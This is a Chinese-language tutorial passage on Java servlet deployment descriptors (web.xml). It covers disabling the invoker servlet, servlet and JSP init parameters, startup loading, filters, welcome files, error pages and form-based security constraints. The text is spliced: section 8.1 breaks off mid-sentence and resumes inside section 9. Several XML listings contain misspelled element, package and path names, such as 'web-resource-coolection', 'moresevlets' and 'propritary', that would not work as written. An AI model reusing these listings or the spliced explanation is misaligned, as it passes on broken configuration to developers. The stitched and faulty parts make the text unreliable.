    對(duì)servlet 或JSP頁(yè)面建立定制URL的一個(gè)原因是,這樣做可以注冊(cè)從 init(servlet)或jspInit(JSP頁(yè)面)方法中讀取得初始化參數(shù)。但是,初始化參數(shù)只在是利用定制URL模式或注冊(cè)名訪問(wèn) servlet或JSP頁(yè)面時(shí)可以使用,用缺省URL http://host/webAppPrefix/servlet/ServletName 訪問(wèn)時(shí)不能使用。因此,你可能會(huì)希望關(guān)閉缺省URL,這樣就不會(huì)有人意外地調(diào)用初始化servlet了。這個(gè)過(guò)程有時(shí)稱為禁止激活器servlet,因?yàn)?多數(shù)服務(wù)器具有一個(gè)用缺省的servlet URL注冊(cè)的標(biāo)準(zhǔn)servlet,并激活缺省的URL應(yīng)用的實(shí)際servlet。
    有兩種禁止此缺省URL的主要方法:
    l 在每個(gè)Web應(yīng)用中重新映射/servlet/模式。
    l 全局關(guān)閉激活器servlet。
    重 要的是應(yīng)該注意到,雖然重新映射每個(gè)Web應(yīng)用中的/servlet/模式比徹底禁止激活servlet所做的工作更多,但重新映射可以用一種完全可移植 的方式來(lái)完成。相反,全局禁止激活器servlet完全是針對(duì)具體機(jī)器的,事實(shí)上有的服務(wù)器(如ServletExec)沒(méi)有這樣的選擇。下面的討論對(duì)每 個(gè)Web應(yīng)用重新映射/servlet/ URL模式的策略。后面提供在Tomcat中全局禁止激活器servlet的詳細(xì)內(nèi)容。
    4.1 重新映射/servlet/URL模式
    在一個(gè)特定的Web應(yīng)用中禁止以http://host/webAppPrefix/servlet/ 開(kāi)始的URL的處理非常簡(jiǎn)單。所需做的事情就是建立一個(gè)錯(cuò)誤消息servlet,并使用前一節(jié)討論的url-pattern元素將所有匹配請(qǐng)求轉(zhuǎn)向該 servlet。只要簡(jiǎn)單地使用:
    <url-pattern>/servlet/*</url-pattern>
    作為servlet-mapping元素中的模式即可。
    例如,程序清單5-5給出了將SorryServlet servlet(程序清單5-6)與所有以http://host/webAppPrefix/servlet/ 開(kāi)頭的URL相關(guān)聯(lián)的部署描述符文件的一部分。

    程序清單5-5 web.xml(說(shuō)明JSP頁(yè)命名的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>Sorry</servlet-name>
    <servlet-class>moreservlets.SorryServlet</servlet-class>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> Sorry </servlet-name>
    <url-pattern>/servlet/*</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    程序清單5-6 SorryServlet.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;

    /** Simple servlet used to give error messages to
    * users who try to access default servlet URLs
    * (i.e., http://host/webAppPrefix/servlet/ServletName)
    * in Web applications that have disabled this
    * behavior.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class SorryServlet extends HttpServlet {
    public void doGet(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String title = "Invoker Servlet Disabled.";
    out.println(ServletUtilities.headWithTitle(title) +
    "<BODY BGCOLOR=\"#FDF5E6\">\n" +
    "<H2>" + title + "</H2>\n" +
    "Sorry, access to servlets by means of\n" +
    "URLs that begin with\n" +
    "http://host/webAppPrefix/servlet/\n" +
    "has been disabled.\n" +
    "</BODY></HTML>");
    }

    public void doPost(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    doGet(request, response);
    }
    }


    4.2 全局禁止激活器:Tomcat
    Tomcat 4中用來(lái)關(guān)閉缺省URL的方法與Tomcat 3中所用的很不相同。下面介紹這兩種方法:
    1.禁止激活器: Tomcat 4
    Tomcat 4用與前面相同的方法關(guān)閉激活器servlet,即利用web.xml中的url-mapping元素進(jìn)行關(guān)閉。不同之處在于Tomcat使用了放在 install_dir/conf中的一個(gè)服務(wù)器專用的全局web.xml文件,而前面使用的是存放在每個(gè)Web應(yīng)用的WEB-INF目錄中的標(biāo)準(zhǔn) web.xml文件。
    因此,為了在Tomcat 4中關(guān)閉激活器servlet,只需在install_dir/conf/web.xml中簡(jiǎn)單地注釋出/servlet/* URL映射項(xiàng)即可,如下所示:
    <!--
    <servlet-mapping>
    <servlet-name>invoker</servlet-name>
    <url-pattern>/servlet/*</url-pattern>
    </servlet-mapping>
    -->
    再次提醒,應(yīng)該注意這個(gè)項(xiàng)是位于存放在install_dir/conf的Tomcat專用的web.xml文件中的,此文件不是存放在每個(gè)Web應(yīng)用的WEB-INF目錄中的標(biāo)準(zhǔn)web.xml。
    2.禁止激活器:Tomcat3
    在Apache Tomcat的版本3中,通過(guò)在install_dir/conf/server.xml中注釋出InvokerInterceptor項(xiàng)全局禁止缺省 servlet URL。例如,下面是禁止使用缺省servlet URL的server.xml文件的一部分。
    <!--
    <RequsetInterceptor
    className="org.apache.tomcat.request.InvokerInterceptor"
    debug="0" prefix="/servlet/" />
    -->

    5 初始化和預(yù)裝載servlet與JSP頁(yè)面

    這里討論控制servlet和JSP頁(yè)面的啟動(dòng)行為的方法。特別是,說(shuō)明了怎樣分配初始化參數(shù)以及怎樣更改服務(wù)器生存期中裝載servlet和JSP頁(yè)面的時(shí)刻。
    5.1 分配servlet初始化參數(shù)
    利 用init-param元素向servlet提供初始化參數(shù),init-param元素具有param-name和param-value子元素。例如, 在下面的例子中,如果initServlet servlet是利用它的注冊(cè)名(InitTest)訪問(wèn)的,它將能夠從其方法中調(diào)用getServletConfig(). getInitParameter("param1")獲得"Value 1",調(diào)用getServletConfig().getInitParameter("param2")獲得"2"。
    <servlet>
    <servlet-name>InitTest</servlet-name>
    <servlet-class>moreservlets.InitServlet</servlet-class>
    <init-param>
    <param-name>param1</param-name>
    <param-value>value1</param-value>
    </init-param>
    <init-param>
    <param-name>param2</param-name>
    <param-value>2</param-value>
    </init-param>
    </servlet>
    在涉及初始化參數(shù)時(shí),有幾點(diǎn)需要注意:
    l 返回值。GetInitParameter的返回值總是一個(gè)String。因此,在前一個(gè)例子中,可對(duì)param2使用Integer.parseInt獲得一個(gè)int。
    l JSP中的初始化。JSP頁(yè)面使用jspInit而不是init。JSP頁(yè)面還需要使用jsp-file元素代替servlet-class。
    l 缺省URL。初始化參數(shù)只在通過(guò)它們的注冊(cè)名或與它們注冊(cè)名相關(guān)的定制URL模式訪問(wèn)Servlet時(shí)可以使用。因此,在這個(gè)例子中,param1和 param2初始化參數(shù)將能夠在使用URL http://host/webAppPrefix/servlet/InitTest 時(shí)可用,但在使用URL http://host/webAppPrefix/servlet/myPackage.InitServlet 時(shí)不能使用。
    例如,程序清單5-7給出一個(gè)名為InitServlet的簡(jiǎn)單servlet,它使用init方法設(shè)置firstName和emailAddress字段。程序清單5-8給出分配名稱InitTest給servlet的web.xml文件。
    程序清單5-7 InitServlet.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;

    /** Simple servlet used to illustrate servlet
    * initialization parameters.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class InitServlet extends HttpServlet {
    private String firstName, emailAddress;

    public void init() {
    ServletConfig config = getServletConfig();
    firstName = config.getInitParameter("firstName");
    emailAddress = config.getInitParameter("emailAddress");
    }

    public void doGet(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String uri = request.getRequestURI();
    out.println(ServletUtilities.headWithTitle("Init Servlet") +
    "<BODY BGCOLOR=\"#FDF5E6\">\n" +
    "<H2>Init Parameters:</H2>\n" +
    "<UL>\n" +
    "<LI>First name: " + firstName + "\n" +
    "<LI>Email address: " + emailAddress + "\n" +
    "</UL>\n" +
    "</BODY></HTML>");
    }
    }


    程序清單5-8 web.xml(說(shuō)明初始化參數(shù)的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>InitTest</servlet-name>
    <servlet-class>moreservlets.InitServlet</servlet-class>
    <init-param>
    <param-name>firstName</param-name>
    <param-value>Larry</param-value>
    </init-param>
    <init-param>
    <param-name>emailAddress</param-name>
    <param-value>Ellison@Microsoft.com</param-value>
    </init-param>
    </servlet>
    <!-- ... -->
    </web-app>

    5.2 分配JSP初始化參數(shù)
    給JSP頁(yè)面提供初始化參數(shù)在三個(gè)方面不同于給servlet提供初始化參數(shù)。
    1)使用jsp-file而不是servlet-class。因此,WEB-INF/web.xml文件的servlet元素如下所示:
    <servlet>
    <servlet-name>PageName</servlet-name>
    <jsp-file>/RealPage.jsp</jsp-file>
    <init-param>
    <param-name>...</param-name>
    <param-value>...</param-value>
    </init-param>
    ...
    </servlet>
    2) 幾乎總是分配一個(gè)明確的URL模式。對(duì)servlet,一般相應(yīng)地使用以http://host/webAppPrefix/servlet/ 開(kāi)始的缺省URL。只需記住,使用注冊(cè)名而不是原名稱即可。這對(duì)于JSP頁(yè)面在技術(shù)上也是合法的。例如,在上面給出的例子中,可用URL http://host/webAppPrefix/servlet/PageName 訪問(wèn)RealPage.jsp的對(duì)初始化參數(shù)具有訪問(wèn)權(quán)的版本。但在用于JSP頁(yè)面時(shí),許多用戶似乎不喜歡應(yīng)用常規(guī)的servlet的URL。此外,如果 JSP頁(yè)面位于服務(wù)器為其提供了目錄清單的目錄中(如,一個(gè)既沒(méi)有index.html也沒(méi)有index.jsp文件的目錄),則用戶可能會(huì)連接到此 JSP頁(yè)面,單擊它,從而意外地激活未初始化的頁(yè)面。因此,好的辦法是使用url-pattern(5.3節(jié))將JSP頁(yè)面的原URL與注冊(cè)的 servlet名相關(guān)聯(lián)。這樣,客戶機(jī)可使用JSP頁(yè)面的普通名稱,但仍然激活定制的版本。例如,給定來(lái)自項(xiàng)目1的servlet定義,可使用下面的 servlet-mapping定義:
    <servlet-mapping>
    <servlet-name>PageName</servlet-name>
    <url-pattern>/RealPage.jsp</url-pattern>
    </servlet-mapping>
    3)JSP頁(yè)使用jspInit而不是init。自動(dòng)從JSP頁(yè)面建立的servlet或許已經(jīng)使用了inti方法。因此,使用JSP聲明提供一個(gè)init方法是不合法的,必須制定jspInit方法。
    為了說(shuō)明初始化JSP頁(yè)面的過(guò)程,程序清單5-9給出了一個(gè)名為InitPage.jsp的JSP頁(yè)面,它包含一個(gè)jspInit方法且放置于 deployDemo Web應(yīng)用層次結(jié)構(gòu)的頂層。一般,http://host/deployDemo/InitPage.jsp 形式的URL將激活此頁(yè)面的不具有初始化參數(shù)訪問(wèn)權(quán)的版本,從而將對(duì)firstName和emailAddress變量顯示null。但是, web.xml文件(程序清單5-10)分配了一個(gè)注冊(cè)名,然后將該注冊(cè)名與URL模式/InitPage.jsp相關(guān)聯(lián)。

    程序清單5-9 InitPage.jsp
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD><TITLE>JSP Init Test</TITLE></HEAD>
    <BODY BGCOLOR="#FDF5E6">
    <H2>Init Parameters:</H2>
    <UL>
    <LI>First name: <%= firstName %>
    <LI>Email address: <%= emailAddress %>
    </UL>
    </BODY></HTML>
    <%!
    private String firstName, emailAddress;

    public void jspInit() {
    ServletConfig config = getServletConfig();
    firstName = config.getInitParameter("firstName");
    emailAddress = config.getInitParameter("emailAddress");
    }
    %>


    程序清單5-10 web.xml(說(shuō)明JSP頁(yè)面的init參數(shù)的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>InitPage</servlet-name>
    <jsp-file>/InitPage.jsp</jsp-file>
    <init-param>
    <param-name>firstName</param-name>
    <param-value>Bill</param-value>
    </init-param>
    <init-param>
    <param-name>emailAddress</param-name>
    <param-value>gates@oracle.com</param-value>
    </init-param>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> InitPage</servlet-name>
    <url-pattern>/InitPage.jsp</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    5.3 提供應(yīng)用范圍內(nèi)的初始化參數(shù)
    一 般,對(duì)單個(gè)地servlet或JSP頁(yè)面分配初始化參數(shù)。指定的servlet或JSP頁(yè)面利用ServletConfig的 getInitParameter方法讀取這些參數(shù)。但是,在某些情形下,希望提供可由任意servlet或JSP頁(yè)面借助ServletContext 的getInitParameter方法讀取的系統(tǒng)范圍內(nèi)的初始化參數(shù)。
    可利用context-param元素聲明這些系統(tǒng)范圍內(nèi)的初始化值。context-param元素應(yīng)該包含param-name、param-value以及可選的description子元素,如下所示:
    <context-param>
    <param-name>support-email</param-name>
    <param-value>blackhole@mycompany.com</param-value>
    </context-param>
    可 回憶一下,為了保證可移植性,web.xml內(nèi)的元素必須以正確的次序聲明。但這里應(yīng)該注意,context-param元素必須出現(xiàn)任意與文檔有關(guān)的元 素(icon、display-name或description)之后及filter、filter-mapping、listener或 servlet元素之前。
    5.4 在服務(wù)器啟動(dòng)時(shí)裝載servlet
    假如servlet或JSP頁(yè)面有一個(gè)要花很長(zhǎng)時(shí)間執(zhí)行的init (servlet)或jspInit(JSP)方法。例如,假如init或jspInit方法從某個(gè)數(shù)據(jù)庫(kù)或ResourceBundle查找產(chǎn)量。這種 情況下,在第一個(gè)客戶機(jī)請(qǐng)求時(shí)裝載servlet的缺省行為將對(duì)第一個(gè)客戶機(jī)產(chǎn)生較長(zhǎng)時(shí)間的延遲。因此,可利用servlet的load-on- startup元素規(guī)定服務(wù)器在第一次啟動(dòng)時(shí)裝載servlet。下面是一個(gè)例子。
    <servlet>
    <servlet-name> … </servlet-name>
    <servlet-class> … </servlet-class> <!-- or jsp-file -->
    <load-on-startup/>
    </servlet>
    可 以為此元素體提供一個(gè)整數(shù)而不是使用一個(gè)空的load-on-startup。想法是服務(wù)器應(yīng)該在裝載較大數(shù)目的servlet或JSP頁(yè)面之前裝載較少 數(shù)目的servlet或JSP頁(yè)面。例如,下面的servlet項(xiàng)(放置在Web應(yīng)用的WEB-INF目錄下的web.xml文件中的web-app元素 內(nèi))將指示服務(wù)器首先裝載和初始化SearchServlet,然后裝載和初始化由位于Web應(yīng)用的result目錄中的index.jsp文件產(chǎn)生的 servlet。
    <servlet>
    <servlet-name>Search</servlet-name>
    <servlet-class>myPackage.SearchServlet</servlet-class> <!-- or jsp-file -->
    <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet>
    <servlet-name>Results</servlet-name>
    <servlet-class>/results/index.jsp</servlet-class> <!-- or jsp-file -->
    <load-on-startup>2</load-on-startup>
    </servlet>

    6 聲明過(guò)濾器

    servlet版本2.3引入了過(guò)濾器的概念。雖然所有支持servlet API版本2.3的服務(wù)器都支持過(guò)濾器,但為了使用與過(guò)濾器有關(guān)的元素,必須在web.xml中使用版本2.3的DTD。
    過(guò) 濾器可截取和修改進(jìn)入一個(gè)servlet或JSP頁(yè)面的請(qǐng)求或從一個(gè)servlet或JSP頁(yè)面發(fā)出的相應(yīng)。在執(zhí)行一個(gè)servlet或JSP頁(yè)面之前, 必須執(zhí)行第一個(gè)相關(guān)的過(guò)濾器的doFilter方法。在該過(guò)濾器對(duì)其FilterChain對(duì)象調(diào)用doFilter時(shí),執(zhí)行鏈中的下一個(gè)過(guò)濾器。如果沒(méi) 有其他過(guò)濾器,servlet或JSP頁(yè)面被執(zhí)行。過(guò)濾器具有對(duì)到來(lái)的ServletRequest對(duì)象的全部訪問(wèn)權(quán),因此,它們可以查看客戶機(jī)名、查找 到來(lái)的cookie等。為了訪問(wèn)servlet或JSP頁(yè)面的輸出,過(guò)濾器可將響應(yīng)對(duì)象包裹在一個(gè)替身對(duì)象(stand-in object)中,比方說(shuō)把輸出累加到一個(gè)緩沖區(qū)。在調(diào)用FilterChain對(duì)象的doFilter方法之后,過(guò)濾器可檢查緩沖區(qū),如有必要,就對(duì)它 進(jìn)行修改,然后傳送到客戶機(jī)。
    例如,程序清單5-11定義了一個(gè)簡(jiǎn)單的過(guò)濾器,只要訪問(wèn)相關(guān)的servlet或JSP頁(yè)面,它就截取請(qǐng)求并在標(biāo)準(zhǔn)輸出上打印一個(gè)報(bào)告(開(kāi)發(fā)過(guò)程中在桌面系統(tǒng)上運(yùn)行時(shí),大多數(shù)服務(wù)器都可以使用這個(gè)過(guò)濾器)。

    程序清單5-11 ReportFilter.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;
    import java.util.*;

    /** Simple filter that prints a report on the standard output
    * whenever the associated servlet or JSP page is accessed.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class ReportFilter implements Filter {
    public void doFilter(ServletRequest request,
    ServletResponse response,
    FilterChain chain)
    throws ServletException, IOException {
    HttpServletRequest req = (HttpServletRequest)request;
    System.out.println(req.getRemoteHost() +
    " tried to access " +
    req.getRequestURL() +
    " on " + new Date() + ".");
    chain.doFilter(request,response);
    }

    public void init(FilterConfig config)
    throws ServletException {
    }

    public void destroy() {}
    }

    一 旦建立了一個(gè)過(guò)濾器,可以在web.xml中利用filter元素以及filter-name(任意名稱)、file-class(完全限定的類名)和 (可選的)init-params子元素聲明它。請(qǐng)注意,元素在web.xml的web-app元素中出現(xiàn)的次序不是任意的;允許服務(wù)器(但不是必需的) 強(qiáng)制所需的次序,并且實(shí)際中有些服務(wù)器也是這樣做的。但這里要注意,所有filter元素必須出現(xiàn)在任意filter-mapping元素之前, filter-mapping元素又必須出現(xiàn)在所有servlet或servlet-mapping元素之前。
    例如,給定上述的ReportFilter類,可在web.xml中作出下面的filter聲明。它把名稱Reporter與實(shí)際的類ReportFilter(位于moreservlets程序包中)相關(guān)聯(lián)。
    <filter>
    <filter-name>Reporter</filter-name>
    <filter-class>moresevlets.ReportFilter</filter-class>
    </filter>
    一旦命名了一個(gè)過(guò)濾器,可利用filter-mapping元素把它與一個(gè)或多個(gè)servlet或JSP頁(yè)面相關(guān)聯(lián)。關(guān)于此項(xiàng)工作有兩種選擇。
    首 先,可使用filter-name和servlet-name子元素把此過(guò)濾器與一個(gè)特定的servlet名(此servlet名必須稍后在相同的 web.xml文件中使用servlet元素聲明)關(guān)聯(lián)。例如,下面的程序片斷指示系統(tǒng)只要利用一個(gè)定制的URL訪問(wèn)名為SomeServletName 的servlet或JSP頁(yè)面,就運(yùn)行名為Reporter的過(guò)濾器。
    <filter-mapping>
    <filter-name>Reporter</filter-name>
    <servlet-name>SomeServletName</servlet-name>
    </filter-mapping>
    其次,可利用filter-name和url-pattern子元素將過(guò)濾器與一組servlet、JSP頁(yè)面或靜態(tài)內(nèi)容相關(guān)聯(lián)。例如,相面的程序片段指示系統(tǒng)只要訪問(wèn)Web應(yīng)用中的任意URL,就運(yùn)行名為Reporter的過(guò)濾器。
    <filter-mapping>
    <filter-name>Reporter</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    例 如,程序清單5-12給出了將ReportFilter過(guò)濾器與名為PageName的servlet相關(guān)聯(lián)的web.xml文件的一部分。名字 PageName依次又與一個(gè)名為T(mén)estPage.jsp的JSP頁(yè)面以及以模式http: //host/webAppPrefix/UrlTest2/ 開(kāi)頭的URL相關(guān)聯(lián)。TestPage.jsp的源代碼已經(jīng)JSP頁(yè)面命名的談?wù)撛谇懊娴?節(jié)"分配名稱和定制的URL"中給出。事實(shí)上,程序清單5- 12中的servlet和servlet-name項(xiàng)從該節(jié)原封不動(dòng)地拿過(guò)來(lái)的。給定這些web.xml項(xiàng),可看到下面的標(biāo)準(zhǔn)輸出形式的調(diào)試報(bào)告(換行是 為了容易閱讀)。
    audit.irs.gov tried to access
    http://mycompany.com/deployDemo/UrlTest2/business/tax-plan.html
    on Tue Dec 25 13:12:29 EDT 2001.

    程序清單5-12 Web.xml(說(shuō)明filter用法的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <filter>
    <filter-name>Reporter</filter-name>
    <filter-class>moresevlets.ReportFilter</filter-class>
    </filter>
    <!-- ... -->
    <filter-mapping>
    <filter-name>Reporter</filter-name>
    <servlet-name>PageName</servlet-name>
    </filter-mapping>
    <!-- ... -->
    <servlet>
    <servlet-name>PageName</servlet-name>
    <jsp-file>/RealPage.jsp</jsp-file>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> PageName </servlet-name>
    <url-pattern>/UrlTest2/*</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    7 指定歡迎頁(yè)

    假 如用戶提供了一個(gè)像http: //host/webAppPrefix/directoryName/ 這樣的包含一個(gè)目錄名但沒(méi)有包含文件名的URL,會(huì)發(fā)生什么事情呢?用戶能得到一個(gè)目錄表?一個(gè)錯(cuò)誤?還是標(biāo)準(zhǔn)文件的內(nèi)容?如果得到標(biāo)準(zhǔn)文件內(nèi)容,是 index.html、index.jsp、default.html、default.htm或別的什么東西呢?
    Welcome-file-list 元素及其輔助的welcome-file元素解決了這個(gè)模糊的問(wèn)題。例如,下面的web.xml項(xiàng)指出,如果一個(gè)URL給出一個(gè)目錄名但未給出文件名,服 務(wù)器應(yīng)該首先試用index.jsp,然后再試用index.html。如果兩者都沒(méi)有找到,則結(jié)果有賴于所用的服務(wù)器(如一個(gè)目錄列表)。
    <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.html</welcome-file>
    </welcome-file-list>
    雖然許多服務(wù)器缺省遵循這種行為,但不一定必須這樣。因此,明確地使用welcom-file-list保證可移植性是一種良好的習(xí)慣。

    8 指定處理錯(cuò)誤的頁(yè)面

    現(xiàn) 在我了解到,你在開(kāi)發(fā)servlet和JSP頁(yè)面時(shí)從不會(huì)犯錯(cuò)誤,而且你的所有頁(yè)面是那樣的清晰,一般的程序員都不會(huì)被它們的搞糊涂。但是,是人總會(huì)犯錯(cuò) 誤的,用戶可能會(huì)提供不合規(guī)定的參數(shù),使用不正確的URL或者不能提供必需的表單字段值。除此之外,其它開(kāi)發(fā)人員可能不那么細(xì)心,他們應(yīng)該有些工具來(lái)克服 自己的不足。
    error-page元素就是用來(lái)克服這些問(wèn)題的。它有兩個(gè)可能的子元素,分別是:error-code和exception- type。第一個(gè)子元素error-code指出在給定的HTTP錯(cuò)誤代碼出現(xiàn)時(shí)使用的URL。第二個(gè)子元素excpetion-type指出在出現(xiàn)某個(gè) 給定的Java異常但未捕捉到時(shí)使用的URL。error-code和exception-type都利用location元素指出相應(yīng)的URL。此 URL必須以/開(kāi)始。location所指出的位置處的頁(yè)面可通過(guò)查找HttpServletRequest對(duì)象的兩個(gè)專門(mén)的屬性來(lái)訪問(wèn)關(guān)于錯(cuò)誤的信息, 這兩個(gè)屬性分別是:javax.servlet.error.status_code和javax.servlet.error.message。
    可回憶一下,在web.xml內(nèi)以正確的次序聲明web-app的子元素很重要。這里只要記住,error-page出現(xiàn)在web.xml文件的末尾附近,servlet、servlet-name和welcome-file-list之后即可。

    8.1 error-code元素
    為 了更好地了解error-code元素的值,可考慮一下如果不正確地輸入文件名,大多數(shù)站點(diǎn)會(huì)作出什么反映。這樣做一般會(huì)出現(xiàn)一個(gè)404錯(cuò)誤信息,它表示 不能找到該文件,但幾乎沒(méi)提供更多有用的信息。另一方面,可以試一下在www.microsoft.com、www.ibm.com 處或者特別是在www.bea.com 處輸出未知的文件名。這是會(huì)得出有用的消息,這些消息提供可選擇的位置,以便查找感興趣的頁(yè)面。提供這樣有用的錯(cuò)誤頁(yè)面對(duì)于Web應(yīng)用來(lái)說(shuō)是很有價(jià)值得。 事實(shí)上rm-error-page子元素)。由form-login-page給出的HTML表單必須具有一個(gè)j_security_check的 ACTION屬性、一個(gè)名為j_username的用戶名文本字段以及一個(gè)名為j_password的口令字段。
    例如,程序清單5-19指示服務(wù)器使用基于表單的驗(yàn)證。Web應(yīng)用的頂層目錄中的一個(gè)名為login.jsp的頁(yè)面將收集用戶名和口令,并且失敗的登陸將由相同目錄中名為login-error.jsp的頁(yè)面報(bào)告。

    程序清單5-19 web.xml(說(shuō)明login-config的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <security-constraint> ... </security-constraint>
    <login-config>
    <auth-method> FORM </auth-method>
    <form-login-config>
    <form-login-page>/login.jsp</form-login-page>
    <form-error-page>/login-error.jsp</form-error-page>
    </form-login-config>
    </login-config>
    <!-- ... -->
    </web-app>


    9.2 限制對(duì)Web資源的訪問(wèn)
    現(xiàn) 在,可以指示服務(wù)器使用何種驗(yàn)證方法了。"了不起,"你說(shuō)道,"除非我能指定一個(gè)來(lái)受到保護(hù)的 URL,否則沒(méi)有多大用處。"沒(méi)錯(cuò)。指出這些URL并說(shuō)明他們應(yīng)該得到何種保護(hù)正是security-constriaint元素的用途。此元素在 web.xml中應(yīng)該出現(xiàn)在login-config的最前面。它包含四個(gè)可能的子元素,分別是:web-resource-collection、 auth-constraint、user-data-constraint和display-name。下面各小節(jié)對(duì)它們進(jìn)行介紹。
    l web-resource-collection
    此 元素確定應(yīng)該保護(hù)的資源。所有security-constraint元素都必須包含至少一個(gè)web-resource-collection項(xiàng)。此元素 由一個(gè)給出任意標(biāo)識(shí)名稱的web-resource-name元素、一個(gè)確定應(yīng)該保護(hù)的URL的url-pattern元素、一個(gè)指出此保護(hù)所適用的 HTTP命令(GET、POST等,缺省為所有方法)的http-method元素和一個(gè)提供資料的可選description元素組成。例如,下面的 Web-resource-collection項(xiàng)(在security-constratint元素內(nèi))指出Web應(yīng)用的proprietary目錄中 所有文檔應(yīng)該受到保護(hù)。
    <security-constraint>
    <web-resource-coolection>
    <web-resource-name>Proprietary</web-resource-name>
    <url-pattern>/propritary/*</url-pattern>
    </web-resource-coolection>
    <!-- ... -->
    </security-constraint>
    重 要的是應(yīng)該注意到,url-pattern僅適用于直接訪問(wèn)這些資源的客戶機(jī)。特別是,它不適合于通過(guò)MVC體系結(jié)構(gòu)利用 RequestDispatcher來(lái)訪問(wèn)的頁(yè)面,或者不適合于利用類似jsp:forward的手段來(lái)訪問(wèn)的頁(yè)面。這種不勻稱如果利用得當(dāng)?shù)脑捄苡泻?處。例如,servlet可利用MVC體系結(jié)構(gòu)查找數(shù)據(jù),把它放到bean中,發(fā)送請(qǐng)求到從bean中提取數(shù)據(jù)的JSP頁(yè)面并顯示它。我們希望保證決不直 接訪問(wèn)受保護(hù)的JSP頁(yè)面,而只是通過(guò)建立該頁(yè)面將使用的bean的servlet來(lái)訪問(wèn)它。url-pattern和auth-contraint元素 可通過(guò)聲明不允許任何用戶直接訪問(wèn)JSP頁(yè)面來(lái)提供這種保證。但是,這種不勻稱的行為可能讓開(kāi)發(fā)人員放松警惕,使他們偶然對(duì)應(yīng)受保護(hù)的資源提供不受限制的 訪問(wèn)。
    l auth-constraint
    盡管web-resource-collention元素質(zhì)出了哪些URL應(yīng)該受到保護(hù), 但是auth-constraint元素卻指出哪些用戶應(yīng)該具有受保護(hù)資源的訪問(wèn)權(quán)。此元素應(yīng)該包含一個(gè)或多個(gè)標(biāo)識(shí)具有訪問(wèn)權(quán)限的用戶類別role- name元素,以及包含(可選)一個(gè)描述角色的description元素。例如,下面web.xml中的security-constraint元素部 門(mén)規(guī)定只有指定為Administrator或Big Kahuna(或兩者)的用戶具有指定資源的訪問(wèn)權(quán)。
    <security-constraint>
    <web-resource-coolection> ... </web-resource-coolection>
    <auth-constraint>
    <role-name>administrator</role-name>
    <role-name>kahuna</role-name>
    </auth-constraint>
    </security-constraint>
    重要的是認(rèn)識(shí)到,到此為止,這個(gè)過(guò)程的可移植部分結(jié)束了。服務(wù)器怎樣確定哪些用戶處于任何角色以及它怎樣存放用戶的口令,完全有賴于具體的系統(tǒng)。
    例如,Tomcat使用install_dir/conf/tomcat-users.xml將用戶名與角色名和口令相關(guān)聯(lián),正如下面例子中所示,它指出用戶joe(口令bigshot)和jane(口令enaj)屬于administrator和kahuna角色。
    <tomcat-users>
    <user name="joe" password="bigshot" roles="administrator,kahuna" />
    <user name="jane" password="enaj" roles="kahuna" />
    </tomcat-users>
    l user-data-constraint
